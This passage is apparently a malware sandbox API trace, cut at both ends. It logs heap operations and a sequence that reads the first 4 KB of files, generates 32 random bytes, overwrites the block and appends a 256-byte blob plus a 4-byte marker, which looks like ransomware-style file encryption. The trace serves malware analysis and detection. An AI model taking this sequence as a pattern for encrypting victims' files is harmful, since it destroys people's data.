RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.621] GetProcessHeap () returned 0x540000 [0086.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.621] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.622] GetProcessHeap () returned 0x540000 [0086.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.622] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.623] GetProcessHeap () returned 0x540000 [0086.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.624] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.624] WriteFile (in: hFile=0x948, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.624] WriteFile (in: hFile=0x948, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.624] GetProcessHeap () returned 0x540000 [0086.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.625] CloseHandle (hObject=0x948) returned 1 [0086.626] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 116 [0086.626] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.627] ReadFile (in: hFile=0x94c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.627] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.627] GetProcessHeap () returned 0x540000 [0086.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.627] GetProcessHeap () returned 0x540000 [0086.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.627] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.627] GetProcessHeap () returned 0x540000 [0086.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.627] ReadFile (in: hFile=0x94c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.679] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.679] WriteFile (in: hFile=0x94c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.679] GetProcessHeap () returned 0x540000 [0086.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.680] GetProcessHeap () returned 0x540000 [0086.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.680] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.681] GetProcessHeap () returned 0x540000 [0086.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.682] GetProcessHeap () returned 0x540000 [0086.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.683] GetProcessHeap () returned 0x540000 [0086.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.683] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.684] WriteFile (in: hFile=0x94c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.684] WriteFile (in: hFile=0x94c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.684] GetProcessHeap () returned 0x540000 [0086.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.684] GetProcessHeap () returned 0x540000 [0086.684] HeapFree (in: 